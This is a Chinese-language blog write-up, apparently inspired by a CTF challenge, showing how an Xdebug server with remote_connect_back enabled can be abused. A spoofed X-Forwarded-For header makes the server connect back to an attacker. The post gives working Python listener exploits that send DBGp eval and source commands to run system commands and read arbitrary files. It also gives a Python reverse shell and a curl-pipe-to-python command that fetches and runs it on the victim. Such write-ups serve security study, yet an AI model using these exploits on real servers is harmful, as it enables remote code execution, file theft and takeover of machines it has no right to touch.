xdebug的攻击面

最近做了WHCTF的题目,看了大佬的研究成果,我自己也跟风学习一波。本篇文章主要讲的是如果开服务器上开启了xdebug的调试,可能会导致被攻击者利用导致命令执行。

xdebug

Java、C、Python都可以通过在源程序中打断点进行调试,但是PHP作为一门用于编写网站的语言,如果需要调试PHP源程序就需要借助于Xdebug进行调试。Xdebug是一个php的扩展,用于进行调试和性能分析,使用的是DBGp协议。

xdebug工作原理

本章节来自于PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

  1. IDE(如phpstorm)已经集成了一个遵循DBGpXdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions
  2. 当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。

固定IP的调试方式:

在这个示例图中是绑定了IP,即使用了固定IP地址,xdeug.remote_connect_back=0,也是xdebug的默认方式。这种情况下,xdebug在收到调试通知时会读取xdebug.remote_host和xdebug_port,默认是localhost:9000,然后向这个端口发送信息,这种方式只适合单一客户端开发调试,平时开发者使用最多的也是这种方式。

非固定IP的调试方式:

xdebug根据请求来源(REMOTE_HOST)来发起调试。示例图如下:

那从用户发起请求到IDE的整个流程图如下:

当用户的请求参数或者cookie中不带调试信息,数据流就是浏览器到Apache(或其他web容器)到PHP,如果加上了调试参数,则请求还会由PHP转给Xdebug,Xdebug再把信息转发给IDE,完成调试功能。

为了更加深刻地理解这个问题,通过phpstudy+firefox+burp来实际观察xdebug的调试过程。
访问URL,localhost/index.php,浏览器端开启xdebug,同时在phpstorm中开启监听。

上图中显示的就是完整的使用xdebug的调试过程。而非固定IP的调试方式和固定IP的调试方式仅仅只是在于一个只能指定IP浏览器访问才能够进行调试,一个是任意IP地址的浏览器访问均可进行调试。

xdebug的攻击面

xdebug的攻击面是出现在非固定IP的调试上面,在非固定IP的调试中,xdebug的相关配置如下:

1
2
3
4
5
6
7
8
9
xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.remote_mode = "req"
xdebug.remote_enable=on
xdebug.remote_port = 9000
xdebug.remote_autostart = no
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log = /tmp/test.log

其中最为关键的的配置是xdebug.remote_connect_back = 1,这个设置表示是开启回连。xdebug.remote_connect_back的回连是通过自定义Header(xdebug.remote_addr_headr)、X-Forwarded-For以及Remote-Addr来确定的。服务器会访问这些请求头,依次进行回连。所以即使配置了自定的Header,也可以通过设置XFF来指定服务器连接。

Xdebug的网络交互也十分简单,客户端向服务器发送XML数据,服务器向客户端发送类似于gdb的command。每次交互的数据以\x00作为EOL。在这种情况,我们使用curl就可以触发xdebug的调试。

DBGp中存在一些可以危险的命令,如果开启了回连,就有可能导致这些命令能够被执行。这些危险的命令包括:

  • Core Commands > source
    source可以读取文件,使用方式是source -i transaction_id -f fileURI。transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径。需要注意的是,Xdebug也受限于 open_basedir
  • Extended Commands > eval
    eval的用法与php中的eval用法相同,使用方式是eval -i transaction_id -- {DATA},其中{DATA} 为 base64 过的 PHP 代码
  • Extended Commands > interact - Interactive Shell
    Xdebug并没有实现
  • Core Commands > property_set

xdebug的攻击实战

我们在本地开启了xdebug调试模式,并且配置参数为:

1
2
3
4
5
6
7
xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.remote_mode = "req"
xdebug.remote_enable=on
xdebug.remote_port = 9000
xdebug.remote_autostart = no
xdebug.remote_connect_back = 1

开启了回连,端口是9000,idekey是phpstorm。

确认回连

通过XFF判断是否开启了xdebug的回连。
访问curl 'http://192.168.158.1/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"
在公网VPS上面使用nc监听9000端口,最终的效果如下:

1
2
3
4
5
ubuntu@VM-55-241-ubuntu:~$ nc -lvv 9000
Listening on [0.0.0.0] (family 0, port 9000)
Connection from [218.197.152.193] port 9000 [tcp/*] accepted (family 2, sport 30171)
498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>

出现了上面的地址,说明xdebug开启了回连。

利用

通过前面的说明,通过DBGp可以使用一些敏感函数,包括eval。这样就能够执行系统命令了。利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

在VPS上面运行这段代码,代替使用nc监听9000。

访问curl 'http://192.168.158.1/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"

此时VPS上面的显示为:

1
2
3
ubuntu@VM-55-241-ubuntu:~$ python xdebug_exp.py
498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>

尝试在交互式shell中执行命令;
执行whoami命令

1
2
3
>> system('whoami')
284<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="22" encoding="base64"><![CDATA[ZGVza3RvcC00OHJtMmlmXHNwb29jaw==]]></property></response>

创建文件夹

1
2
3
>> system('mkdir spoocktest')
251<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="0" encoding="base64"><![CDATA[]]></property></response>

读取文件

1
2
3
>> system('type index.php')
255<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="2" encoding="base64"><![CDATA[Pz4=]]></property></response>

由于xdebug的环境是使用在win10上面利用phpstudy搭建的,所以使用type命令来读取的文件,但是在我使用type命令读取文件的时候发现仅仅只能显示文件的最后一行,在cmd中通过使用type则是可以正常地读取到文件的所有内容,关于这一点目前还不是很理解。

其他-文件读取

之前说明还可以通过source的方式读取文件,那么将利用脚本修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('source -i 1 -f file:///%s\x00' % data)

通过这种方式就可以读取任意文件了,但是由于设置了读取文件的大小,不能读取所有的文件内容,这个也可以通过程序实现读取文件所有的内容,一下就是运行的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 初次连接时显示的信息
ubuntu@VM-55-241-ubuntu:~$ python xdebug_file_exp.py
497<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="1000" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>

# 通过相对路径的方式读取index.php文件
>> index.php
2821<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[PD9waHANCnJlcXVpcmUoImluYy9jb25uLnBocCIpOw0KJGRvbWFpbj0kX1NFUlZFUlsnSFRUUF9IT1NUJ107IC8v5Y+W5b6X55So5oi35omA6K6/6Zeu55qE5Z+f5ZCN5YWo56ewDQokZG9tYWluMj1zdWJzdHIoJGRvbWFpbiwwLHN0cnBvcygkZG9tYWluLCcuJykpOw0KJGRvbWFpbl96aHU9Z2V0X3podXl1bWluZygkZG9tYWluKTsvL+mSiOWvuXd3dy7kuLrnqbrnmoTmg4XlhrXvvIzliKTmlq0kZG9tYWluMjw+JGRvbWFpbnpodQ0KDQovL2VjaG8gJGRvbWFpbi4nPGJyPicuc3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLHNpdGV1cmwpOw0KDQppZiAoJGRvbWFpbjw+c3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLHNpdGV1cmwpICYmICRkb21haW48Pidsb2NhbGhvc3Q6ODA4MCcgJiYgJGRvbWFpbjw+J2xvY2FsaG9zdCcgJiYgJGRvbWFpbjI8PiRkb21haW5femh1ICYmIGNoZWNrX2lzaXAoJGRvbWFpbik9PWZhbHNlKXsNCmhlYWRlcigiTG9jYXRpb246IGRlZmF1bHQuaHRtIixUUlVFLDMwMSk7Ly9zaG93LnBocOWPiuWFtuWug+mhtemdouS4reS7peS6jOe6p+Wfn+WQjeWAvOS4uiRlZGl0b3INCmV4aXQ7DQp9DQoNCmluY2x1ZGUoImluYy90b3BfaW5kZXgucGhwIik7DQppbmNsdWRlKCJp

# 通过绝对路径的方式读取文件
>> C:/phpStudy/WWW/zzcms/index.php
bmMvYm90dG9tLnBocCIpOw0KaW5jbHVkZSgibGFiZWwucGhwIik7DQppbmNsdWRlKCJ6cy9zdWJ6cy5waHAiKTsNCmluY2x1ZGUoImluYy9mbHkucGhwIik7DQoNCiRmcD1kaXJuYW1lKF9fRklMRV9fKS4iL3RlbXBsYXRlLyIuJHNpdGVza2luLiIvaW5kZXguaHRtIjsNCmlmIChmaWxlX2V4aXN0cygkZnApPT1mYWxzZSl7DQpXcml0ZUVyck1zZygkZnAuJ+aooeadv+aWh+S7tuS4jeWtmOWcqCcpOw0KZXhpdDsNCn0NCiRmc28gPSBmb3BlbigkZnAsJ3InKTsNCiRzdHJvdXQgPSBmcmVhZCgkZnNvLGZpbGVzaXplKCRmcCkpOw0KZmNsb3NlKCRmc28pOw0KJHN0cm91dD1zdHJfcmVwbGFjZSgieyNzaXRlc2tpbn0iLCRzaXRlc2tpbiwkc3Ryb3V0KSA7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3NpdGVuYW1lfSIsc2l0ZW5hbWUsJHN0cm91dCkgOw0KJHN0cm91dD1zdHJfcmVwbGFjZSgieyNzaXRldXJsfSIsc2l0ZXVybCwkc3Ryb3V0KSA7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3BhZ2V0aXRsZX0iLHNpdGV0aXRsZSwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjcGFnZWtleXdvcmRzfSIsc2l0ZWtleXdvcmQsJHN0cm91dCk7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3BhZ2VkZXNjcmlwdGlvbn0iLHNpdGVkZXNjcmlwdGlvbiwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjc2l0ZWJvdHRvbX0iLHNpdGVib3R0b20oKSwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjc2l0ZXRvcH0iLHNpdGV0b3AoKSwk

其他-反弹shell

通过system()函数可以在xdebug的服务器上面执行命令,那么是否能够反弹shell呢?反弹shell的方式也是很多的,这里采用的是利用Python的方式来反弹。
shell.py的内容如下:

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",12345)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

通过curl的方式访问连接,curl shell.py | python即可得到反弹shell。

那么利用这种方式,我们考虑在xdebug服务器上面通过curl的方式运行,同样可以得到反弹shell。如下:

1
system("curl URL/shell.py|python")

此时可以同样地得到反弹shell。

又学习到新的姿势了。

总结

正如L3mon师傅所说的,漏洞挖掘更多的需要探索位置领域进行创新。同时我也发现了自己与大佬之间的差距,更是要不断地努力了。

参考

PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

Xdebug: A Tiny Attack Surface